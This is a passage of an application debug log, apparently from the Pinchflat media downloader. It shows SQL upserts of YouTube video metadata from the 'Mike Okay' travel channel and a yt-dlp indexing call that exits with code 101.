DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "9ec1fa78-17fb-4b51-9a17-81b4d219d2bf", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 01:59:49Z], ~U[2026-08-20 01:59:49Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 18:59:49.667 [debug] QUERY OK source="sources" db=0.1ms idle=81.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:49.667 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:49.668 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18994] 18:59:49.668 [debug] Current batch of media processed. Will check again in 1000ms 18:59:50.133 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/21/b8/21b85574aab87075d7af014998e8eec9c8da42c152afd32697912593f9cb0f41.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a0/cf/a0cf63cd04aa89c58b07c4cb9cfe2135f097dfb31000d368b6287c8a52624d1d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 18:59:50.134 [debug] Gracefully stopping file follower 18:59:50.134 [debug] QUERY OK source="sources" db=0.3ms idle=468.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:50.135 [debug] QUERY OK source="sources" db=0.1ms idle=467.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.135 [debug] QUERY OK source="media_items" db=0.3ms idle=467.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 18:59:50.136 [debug] QUERY OK source="media_items" db=0.9ms idle=468.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "13d421db-37f2-4114-bac5-7f5c85114a64", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 18:59:50.137 [debug] QUERY OK source="sources" db=0.2ms idle=468.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.137 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 18:59:50.138 [debug] QUERY OK source="media_items" db=0.7ms idle=2.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "e63162a2-f296-423e-9a0f-f62cc30921be", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 18:59:50.139 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.139 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 18:59:50.142 [debug] QUERY OK source="media_items" db=2.6ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "24786e49-5b84-4016-91e0-b8876d65e429", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 18:59:50.143 [debug] QUERY OK source="sources" db=0.1ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.143 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 18:59:50.144 [debug] QUERY OK source="media_items" db=0.7ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "91a9f087-600f-4fd6-b7b3-da5ebca9d1f3", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 18:59:50.145 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.145 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 18:59:50.146 [debug] QUERY OK source="media_items" db=0.6ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "be0e9108-b50d-44b9-8ba3-0e6268a179b8", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 18:59:50.147 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.147 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 18:59:50.148 [debug] QUERY OK source="media_items" db=0.7ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "676fce0c-f74e-47a9-b6cb-0eb919098448", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 18:59:50.148 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.149 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 18:59:50.150 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, 